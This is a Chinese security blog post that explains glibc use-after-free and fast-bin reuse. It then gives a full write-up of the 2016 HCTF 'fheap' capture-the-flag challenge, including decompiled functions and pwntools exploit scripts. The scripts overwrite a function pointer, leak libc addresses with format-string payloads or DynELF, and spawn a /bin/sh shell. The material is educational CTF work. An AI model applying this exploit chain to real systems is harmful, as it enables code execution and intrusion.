Use After Free漏洞 && 2016 HCTF fheap WriteUp

2019-11-06 6,336

简介

Use After Free (UAF)漏洞,与heap相关,主要涉及glibcmallocfree两种方法的特性。


实例

  1. 通过malloc申请一定大小的内存块,使用指针p1存储内存块地址,然后再释放内存块free(p1),但没有将指针p1置空。

  2. 通过malloc再次申请和上次大小相同或相近的内存块,因fast bins机制所以本次与上次申请的内存块相同,使用指针p2存储内存块地址,并通过p2修改内存块内容。

  3. p1没有置空,与p2都指向相同的内存块,当通过p1使用被修改过的内存块时,就会发生预期外的结果(漏洞)

源码:

//64 bit test
int main()
{
   char *p1;
   p1 = (char *) malloc(sizeof(char)*16);
   memcpy(p1,"hello world",16);
   printf("p1 addr:%p,  str :%s\n",p1,p1);
   free(p1);
   
   char *p2;
   p2 = (char *)malloc(sizeof(char)*24);
   //p2 = (char *)malloc(sizeof(char)*16);
   printf("p2 addr:%p,  str :%s\n",p2,p2);
   printf("Change p2\n");
   memcpy(p2,"test",10);
 
   printf("p1 addr:%p,  str :%s\n",p1,p1);
   return 0;
}

运行结果:

p1 addr:0x602010,  str :hello world
p2 addr:0x602010,  str :
Change p2
p1 addr:0x602010,  str :test

两次申请得到内存块(地址)相同,需要满足内存管理中fast bins的条件。

Fast binsFast bins用于提高小内存的分配效率,不大于max_fastchunk被释放后,首先会被缓存到Fast bins中。

当分配的chunk小于或等于max_fast时,首先会在fast bins中查找相应的空闲块,用于加速分配。(在32bit的系统中,max_fast的值为64;在64bit的系统中,max_fast的值为128)

默认情况下,fast bins包含7个大小的空闲chunk

  • 32bit,每个bin上的chunk大小(括号内为数据空间)依次为16B(0-12),24B(13-20),32B(21-28),40B(29-36),48B(37-44),56B(45-52),64B(53-60)

  • 64bit,每个bin上的chunk大小依次为32B(0-24),48B(25-40),64B(41-56),80B(57-72),96B(73-88),112B(89-104),128B(105-120)

Fast bins每个bins上的chunk操作方式为LIFO

p1申请的大小为16,释放p1chunk缓存在Fast bins的32B(0-24),p2申请的大小为24(或者也可为16),p1p2都属于32B(0-24)这个范围,因此直接在Fast bin中得到chunk


2016 HCTF fheap

题目参考源码 && 自行编译gcc fheap.c -pie -fpic -o fheap && strip fheap

题目信息

文件功能如下:

root@ubuntu:~/uaf# ./debug
+++++++++++++++++++++++++++
So, let's crash the world
+++++++++++++++++++++++++++
1.create string
2.delete string
3.quit
create
Pls give string size:10
str:test
The string id is 0
1.create string
2.delete string
3.quit
delete
Pls give me the string id you want to delete
id:0
Are you sure?:yes
1.create string
2.delete string
3.quit

功能简单,创建字符串并分配id;根据id删除字符串。

checksec

pwndbg> checksec
[*] '/root/CTF/2016/HCTF/fheap/fheap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

关键两点,可以覆盖GOT表,开启了代码段的地址随机化。

IDA查看

IDA F5查看并优化,主要为三个函数

main函数

signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf; // [rsp+0h] [rbp-410h]
  unsigned __int64 v5; // [rsp+408h] [rbp-8h]
  v5 = __readfsqword(0x28u);
  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  puts("+++++++++++++++++++++++++++");
  puts("So, let's crash the world");
  puts("+++++++++++++++++++++++++++");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        menu();//菜单
        if ( !read(0, &buf, 0x400uLL) )
          return 1LL;
        if ( strncmp(&buf, "create ", 7uLL) )
          break;
        create(); //create string
      }
      if ( strncmp(&buf, "delete ", 7uLL) )
        break;
      delete(); //delete string
    }
    if ( !strncmp(&buf, "quit ", 5uLL) )
      break;
    puts("Invalid cmd");
  }
  puts("Bye~");
  return 0LL;
}

create函数

unsigned __int64 create()
{
  signed int i; // [rsp+4h] [rbp-102Ch]
  char *string; // [rsp+8h] [rbp-1028h]
  char *ex_buff; // [rsp+10h] [rbp-1020h]
  size_t size; // [rsp+18h] [rbp-1018h]
  size_t input_size; // [rsp+18h] [rbp-1018h]
  char buf; // [rsp+20h] [rbp-1010h]
  unsigned __int64 v7; // [rsp+1028h] [rbp-8h]
  v7 = __readfsqword(0x28u);
  string = (char *)malloc(32uLL); //申请一个大小为32(0x20)的空间
  printf("Pls give string size:");
  size = int_conver();  //输入字符长度,并转换为整型
  if ( size <= 0x1000 )
  {
    printf("str:");
    if ( read(0, &buf, size) == -1 )   //输入字符并读取到buf
    {
      puts("got elf!!");
      exit(1);
    }
    input_size = strlen(&buf);  //判断输入字符串的真实长度
    if ( input_size > 15 )   //判断字符串是否大于15
    {
      ex_buff = (char *)malloc(input_size);   //大于15则根据字符串真实长度额外申请空间
      if ( !ex_buff )
      {
        puts("malloc faild!");
        exit(1);
      }
      strncpy(ex_buff, &buf, input_size);   //复制字符串到申请空间
      *(_QWORD *)string = ex_buff;         //存储额外申请空间,指针指向额外空间
      *((_QWORD *)string + 3) = big_free;   //存储释放函数,指针指向自定义的big_free函数
    }
    else
    {
      strncpy(string, &buf, input_size);    //小于16则直接存储
      *((_QWORD *)string + 3) = small_free; //存储释放函数,指针指向自定义的small_free函数
    }
    *((_DWORD *)string + 4) = input_size;   //存储输入字符串输入长度
    for ( i = 0; i <= 0xF; ++i ) // 对结构体数组进行循环
    {
      if ( !*((_DWORD *)&string_array + 4 * i) )  //遍历并根据索引判断是否使用
      {
        *((_DWORD *)&string_array + 4 * i) = 1;  //若未使用则设置使用标志
        *((_QWORD *)&string_array + 2 * i + 1) = string;  //若未使用则存值string地址
        printf("The string id is %d\n", (unsigned int)i);
        break;
      }
    }
    if ( i == 16 ) // 超出数组大小
    {
      puts("The string list is full");
      (*((void (__fastcall **)(char *))string + 3))(string);
    }
  }
  else
  {
    puts("Invalid size");
    free(string);
  }
  return __readfsqword(0x28u) ^ v7;
}

首先申请0x20的空间(称为string),若输入的字符串长度小于16,则使用该空间存储字符串、长度、释放函数指针,应该为32字节的结构体。

  • 字符串,存储位置为string,16字节。

  • 长度,存储位置为*((_DWORD *)string + 4),8字节。

  • 释放函数指针,存储位置为*((_QWORD *)string + 3),8字节,使用small_free

image.png


若输入的字符串长度大于16,则使用该空间存储长度、释放函数指针、字符串指针(申请额外空间存储字符串),同为32字节的结构体。

image.png


  • 字符串指针,存储位置为string,8字节。

  • 长度,存储位置为*((_DWORD *)string + 4),8字节。

  • 释放函数指针,存储位置为*((_QWORD *)string + 3),8字节,使用big_free

删除字符串小于16时,只需释放0x20的空间

void __fastcall small_free(void *a1)
{
 free(a1);
}

删除字符串大于15时,则释放两个,还需包含string位置的字符串指针。


void __fastcall big_free(void **a1)
{
  free(*a1);
  free(a1);
}


string_array是结构体数组,数组长度为0xF,每个结构体大小为16字节,循环判断标志位将string加入数组

  • 是否使用标志位,*((_DWORD *)&string_array + 4 * i),使用则为1

  • string指针,*((_QWORD *)&string_array + 2 * i + 1),存储地址。

image.png


delete函数

unsigned __int64 delete()
{
  int id; // [rsp+Ch] [rbp-114h]
  char buf; // [rsp+10h] [rbp-110h]
  unsigned __int64 v3; // [rsp+118h] [rbp-8h]
  v3 = __readfsqword(0x28u);
  printf("Pls give me the string id you want to delete\nid:");
  id = int_conver();
  if ( id < 0 || id > 16 )
    puts("Invalid id");
  if ( *((_QWORD *)&string_array + 2 * id + 1) )
  {
    printf("Are you sure?:");
    read(0, &buf, 0x100uLL);
    if ( !strncmp(&buf, "yes", 3uLL) )
    {
      (*(void (__fastcall **)(_QWORD, const char *))(*((_QWORD *)&string_array + 2 * id + 1) + 24LL))(
        *((_QWORD *)&string_array + 2 * id + 1),  //调用释放空间函数
        "yes");
      *((_DWORD *)&string_array + 4 * id) = 0;   //设置标志位为不使用
    }
  }
  return __readfsqword(0x28u) ^ v3;
}


解法

功能函数

def creat(size,creat_str):
    sh.recvuntil('3.quit')
    sh.send('create string')
    sh.recvuntil('Pls give string size:')
    sh.sendline(str(size))
    sh.recvuntil('str:')
    sh.send(creat_str)
def delete(str_id):
    sh.recvuntil('3.quit')
    sh.send('delete string')
    sh.recvuntil('Pls give me the string id you want to delete\nid:')
    sh.sendline(str(str_id))
    sh.recvuntil('Are you sure?:')
    sh.send("yes")


思路

创建两个长度小于16的字符串,然后删除,此时fast bins中会有两个大小为0x20的块。

创建长度为0x20的字符串,字符串信息和字符串存储空间均为0x20,因此刚好使用fast bins中的两个块。

存储字符串的块可以通过输入覆盖,覆盖释放空间函数的地址,在删除字符串时就能劫持程序。

因为程序开启了PIC,不知道地址无法直接覆盖,程序的高位基址会变化但低位则不会,查看正常的small_free的低位地址:


root@ubuntu:~/uaf# objdump -M intel -d debug
 d52:       55                      push   rbp
     d53:       48 89 e5                mov    rbp,rsp
     d56:       48 83 ec 10             sub    rsp,0x10
     d5a:       48 89 7d f8             mov    QWORD PTR [rbp-0x8],rdi
     d5e:       48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
     d62:       48 89 c7                mov    rdi,rax
     d65:       e8 f6 fb ff ff          call   960 <free@plt>
     d6a:       c9                      leave
     d6b:       c3                      ret

对释放函数地址的最低1字节进行覆盖,就能将程序的执行流控制在dxx的范围,在该范围寻找利用即可。

包含put

d2d:       e8 5e fc ff ff          call   990 <puts@plt>

或printf

dbb:       e8 10 fc ff ff          call   9d0 <printf@plt>

glibc

通过gdb调试发现,栈上存在puts+322的地址,这里选择printf进行利用,利用格式化字符串漏洞结合glibc,获取地址。

获取puts+322地址,并计算system地址


fheap=ELF('./debug')
libc = ELF("./libc.so")
creat(4,"aa")
creat(4,"bb")
delete(1)
delete(0)
#puts的利用方式
creat(0x20,'a'*0x14+'b'*4+'\x2d')
delete(1)
delete(0)
#printf的利用方式
creat(0x20,'%38$llx'+'|'*0xd+'b'*4+'\xbb')
delete(1)
puts_addr = sh.recvuntil('|||||||||||||',drop=True)
#使程序回到菜单
sh.sendline(str(0))
sh.recvuntil('Are you sure?:')
sh.send("yes")
system_addr = libc.symbols['system'] - libc.symbols['puts'] + int("0x" + puts_addr,16) - 322
print hex(system_addr)

调用system函数获取shell

payload  = '/bin/sh;'.ljust(0x18, 'B')
payload += p64(system_addr)
creat(0x20, payload)
delete(1)
sh.interactive()

DynELF

若没有glibc计算偏移地址,则使用DynELF获取system地址。

首先利用puts输出string中包含的small_free地址,计算得到程序基址。

creat(0x20,'a'*0x14+'b'*4+'\x2d')
delete(1)
sh.recvuntil('bbbb')
addr = sh.recvuntil('\n',drop=True)
elf_base = u64(addr + '\x00' * (8 - len(addr))) - 0xd2d
log.success("proc base :" + hex(elf_base))
delete(0)

利用delete中的yes处实现泄露函数:

def leak_addr(addr):
    payload = 'a%10$s'.ljust(0x18,'#') + '\xbb'
    creat(0x20,payload)
    sh.recvuntil('3.quit')
    sh.sendline('delete string')
    sh.recvuntil('Pls give me the string id you want to delete\nid:')
    sh.sendline(str(1))
    sh.recvuntil('Are you sure?:')
    sh.send("yes.1111"+p64(addr)+"\n")
    sh.recvuntil('a')
    data = sh.recvuntil('##',drop=True)
    sh.sendline(str(0))
    sh.recvuntil('Are you sure?:')
    sh.sendline("yes")
    log.success("%#x => %s" % (addr, (data or '').encode('hex')))
    return data + '\x00'
  
fheap.address = elf_base
dyn=DynELF(leak_addr, elf = fheap)
system_addr = dyn.lookup('system', 'libc')
log.success("system_addr : " + hex(system_addr))

参考

ctf-wiki-Use After Free

华庭-Glibc 内存管理


本文作者:Rai4over

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/117664.html

Tags:
评论  (0)
快来写下你的想法吧!

Rai4over

文章数:30 积分: 625

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号